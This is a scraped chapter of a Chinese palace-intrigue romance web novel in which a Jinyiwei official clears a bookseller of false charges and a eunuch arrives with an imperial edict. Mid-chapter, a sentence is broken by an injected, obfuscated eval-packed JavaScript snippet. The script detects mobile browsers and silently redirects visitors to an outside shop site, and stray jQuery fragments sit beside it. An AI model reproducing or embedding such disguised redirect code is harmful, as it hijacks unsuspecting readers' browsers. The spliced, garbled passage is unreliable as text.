文趣网 > 其他小说 > 锦衣卫审我风月文上瘾了 > 3. 风月劫(三)
    消息来得猝不及防,余知微很是吃惊,激动又忐忑地抬起头:“那…… 民女何时上堂?”

    男人修长的凤目明明生得极美,可冷峻中带着几分天生的凌厉,叫她不敢直视。

    顾守生沉默,眸光在她憔悴的脸上停顿片刻,转头对沈问说道:“沈总旗,让人端些清水,还有膳食过来。”

    闻见膳食,余知微的肚子“咕噜”叫唤两声。

    又是冷馒头,不过有总比没有好。

    顾守生转回头,瞥见地面那枚木簪。

    他拾了起来,打量一眼。

    —— 尖端断了。

    “适才,你是用它扎的钱百户?”

    余知微点了点头,伸手讨要道:“大人能不能还我?”

    “物证不能归还。”顾守生将簪子放入袖里,瞥了眼她披散的发。

    那席及腰墨发垂在她身前,随着她急促的呼吸而轻轻浮动。顾守生挑了挑眉,移开视线,“稍后,我让人给你个替换的。”

    余知微这才意识到自己形容狼狈,忙用手梳理几下,将头发拢往身后。

    “那木簪,是家父亲手所刻。”她眼眶湿红,声音微哽,“民女被关这四日,担惊受怕,时刻捏着它,才熬了过来…… 还望大人结案后,能归还于我。”

    顾守生走到牢门前的脚步顿住了,回头看来,眼底掠过一丝惊讶。

    “这牢房暗无天日,你怎知时日?”

    余知微迟疑稍许,坦白道:“狱餐一日两回,民女便用簪子在墙边作记号,估算的。”

    “你名为知微,倒也有几分名副其实。”顾守生难得夸赞一句。

    余知微有些意外,抬眸偷偷打量他。

    然而这人喜怒不形于色。

    她鼓起勇气:“敢问大人,等会儿开审,那位举报者会不会在场?民女愿与他当面对峙。”

    顾守生不动声色:“你就不怕被人记恨?”

    “……自然是怕的。”

    “可是,不能因为怕,连清白都不敢要了。”

    她怯怯地抬头看着他。

    那人的眸光总是淡而冷,像冬日结了薄冰的湖面,看不出底下藏着什么。

    彼时狱卒送来清水与膳食。托盘上装的竟是—— 米饭、热汤、还有一盘青菜炒肉丝!

    余知微一愣,下意识地咽了咽口水。

    “半日后,会有人带你上堂。”顾守生迈开脚。

    那道背影笔直如剑,冷而孤峭,绯红袍角很快没入幽暗的甬道。

    “砰”,牢门又关上了。

    幽幽烛火中,余知微端起碗,温热的食物吞入口里那一刻,眼眶又湿润了。

    吃罢,虚弱的身子好转了些,她靠着墙阖上眼,一边忐忑思量。

    等会儿上了堂,顾大人会不会再次刁难?她要如何引经据典为自己挣一条活路?

    尤其,那个举报者……

    为什么?她到底得罪了谁,非要置她于死地?!

    一幕幕重审的场景,早已在她脑子里演了无数遍。

    眼皮越来越沉,她竟睡了过去。直到狱卒送来温水,她连忙拾掇,拿起顾大人替换的簪子。一枚银丝花簪,做工精细。余知微拿在手里掂了掂,不免吃惊。

    绾完发,沈总旗正好来带她上堂。

    余知微低头跟随,一路忐忑,迈入刑堂时,却瞥见——

    血!一大滩血!

    暗红色的血尚未干透,在幽幽火烛下泛着诡异的光。

    前方跪着三个瑟瑟发抖的背影。

    余知微心跳加紧,正要下跪。

    “余氏你可站着听令。”

    顾守生的眸光从她身上停留须臾,重新看向跪在堂下那些人。

    “余氏所涉妖书妖言一案,经查,乃文林阁李氏,与锦衣卫官吏,百户钱来,千户薛攀,官商勾结,受贿构陷。”

    审讯…… 已完??!

    她设想过无数场景,唯独没有想到眼前这一幕。

    书商李氏吓得面如土色,拖着带血的身子,爬到她腿边。

    “余姑娘!余掌柜!是我鬼迷心窍,匿名举报了你!”

    “我妒嫉你!没想到你真能将书坊经营起来!”

    “可我,我真的没想害死你啊!!”

    那人一边哭一边道:“是我的错!我贿赂钱百户,请他接了案子,仅是想教你们书坊关闭……!可我万万没料到,事情竟会弄成这个地步!”

    “余掌柜!求您大人大量,饶恕我吧!”

    原来是他。

    并非熟人,一个同行罢了。

    余知微看着跪在地上涕泪淋漓的李书商,想起半年前,这人还在茶楼里,与其他人当众嘲笑她。

    一姑娘家街头吆喝卖书,与卖笑何异?

    还写什么话本子,建阳余氏的百年清誉都被她给丢尽了。

    余墨阁撑不了几日喽。

    …… 明明大家干的是书坊这类风雅行当,却也都汲汲营营,勾心斗角。

    余知微咬住发抖的嘴唇,沉默着。

    高座上,顾守生的声音冷冷落下:“文林阁李氏,构陷余氏,害她险些丧命狱中。按律,抄家、流千里。来人,将李氏押下去!”李书商的哀嚎声被拖远了。

    “书香堂张氏,藏文坊吴氏,作为嫌犯,也曾有构衅同行、行贿官吏之劣迹。今日各杖你们三十板,罚银三百两。”

    “往后若再犯,抄家流千里,更甚者处绞!”

    杀鸡儆猴这一招果然有用。

    其他书商保了命,对顾大人感恩戴德,也向余知微叩了好几个头。

    “此外,百户钱来,千户薛攀等已被押入诏狱。他们官商勾结,欺凌百姓,更在本司公然行凶,杀人灭口。锦衣卫内部纲纪,败坏至此,本官定当上禀彻查!”

    余知微看向高台上那个威严冷厉的男人,蓦然念头一闪。

    钱百户刚动手,沈总旗就出现了。

    这真是巧合吗?

    顾守生的眸光移来,从她苍白的脸上掠过:“余氏。”

    余知微回神,声音低哑:“民女在。”

    他看着她,神情依旧薄凉。

    “本官断你清白,即刻释放。所缴银两,尽数归还。”

    这就…… 真的结束了?

    余知微想说什么,然而这些天的恐惧、委屈、绝望等种种情绪全都堵在喉咙里,一个字也挤不出来。她噙住眼泪,看着高台上那人。

    —— 他绯红飞鱼服的身影,本如一团灼灼地狱之火,此刻却不再那么刺眼可怖。

    她朝他深深一福:“谢大人。”声音也带着湿润的颤。

    “余氏。”顾守生顿了顿,“往后,莫再写那种书。”

    “民女自然不敢。”

    便宜牢饭她哪敢再吃一回。

    只可惜,老天爷给的那条发财路从此断了。

    书坊的欠租要怎么还……

    堂审结束。

    书吏将记录的供词呈上,顾守生垂眸翻着,头也不抬,淡淡说道:“都下去,本案卷宗需即刻归档,半个时辰内不许打扰。”北衙门的人都晓得顾大人的习惯,做事雷厉风行

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17710307|208414||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,不喜拖泥带水。

    衙役们领命退下。

    余知微站在原地,脚下踟蹰着。

    顾守生微微抬眸:“你还站着做甚么,等着本官送你?”

    余知微踌躇启口:“大人,民女还有个事……”

    “说。”顾守生惜字如金。

    “钱百户没收我们的五十两银,要去哪里领?”

    “后日,找沈总旗。”

    “噢,好的。谢大人。”余知微福了福,依旧站在原地。

    顾守生抬眸:“还有事?”

    余知微垂头,手指绞着衣袖。

    “感恩大人为民女讨回清白。民女斗胆问问……”

    她咬了咬唇,斟酌措辞:“这次入狱,民女吃了许多苦头,身心受创,名誉受损,书坊也被迫停业,损失不少……”

    顾守生搁下笔,抬眸看过来:“你直说。”

    那双微微上挑的凤目不怒自威,像似能将人看个透。

    余知微心跳加急,声音越来越小:“大人您看,能不能,恩赐一点,赔偿银?”

    顾守生眸中再度掠过一丝惊讶,忽地沉声:“余氏,你可真够胆大的!”

    “不不,民女不敢。”余知微慌忙摆手,“民女并非贪财,只是,书坊尚欠租金,若月底不还清,将会被迫关闭……”

    倏地,她眼眶酸楚,声音发紧发颤:“我深知,即便出狱了,往后的日子也未必顺风顺水,或许还会遭人记恨。但有了银子,至少能够保住书坊……”

    顾守生沉默片刻:“欠了多少?”

    “一百五十两。”余知微连忙福身,“多谢大人!民女愿为您做牛做马也感激不尽!”

    顾守生冷眼瞥她:“你谢什么,本官可没答应。”

    眼见他神情略不耐烦,埋头于案卷中,余知微不敢再叨扰,移步走向堂外。

    在迈出门那一刻,她顿住脚步,回眸望去。

    高台上那人也正好看过来。

    少顷,那人继续垂眸阅卷,幽幽火光映着他那抹赤红却显清冷的身影。

    或许,这个男人并非她想象中那么坏。

    但他与他那个血雨腥风的世界,她不想了解,更不敢靠近。

    余知微深深吸了一口气,继续往前去。

    对面一位内官徐徐行来,经过刑堂门口那滩血迹,蹙了蹙眉,提袍绕开。

    这位身着深青色曳撒,胸前绣着金蟒,腰系鸾带,步履从容。

    看穿戴就知是个大人物。

    余知微连忙刹住脚步,侧身福礼。

    那人的目光往余知微身上掠过,继而看向堂上。

    “顾大人这是提前清场了?看来是知道咱家要来?”

    顾守生抬起那双冷凌凌的凤目,却在见到来者时,快速放下手中案卷,起身拱手:“张公公。”

    张永脸上浮出一缕玩味的笑意,抬着下巴指了指余知微。

    “她就是那写书的姑娘?”

    顾守生颔首,瞥了眼余知微:“余氏,你且退下。”

    张永却摆摆手:“让她留着。我此番来意,正是与她相关。”

    顾守生眉头微微一蹙,伸手邀道:“张公公请坐。”

    他正要吩咐人备茶伺候,张永摆摆手:“不必繁礼,我也不多耽搁您办公,说完便走。”张永在案旁坐下,抬眸看向余知微,招了招手,“别愣在那里,过来一同听命。”

    “皇上的口谕。”张公公补充一句。

    皇上,正德皇帝?

    余知微刚缓下的心又被提到了嗓子眼里。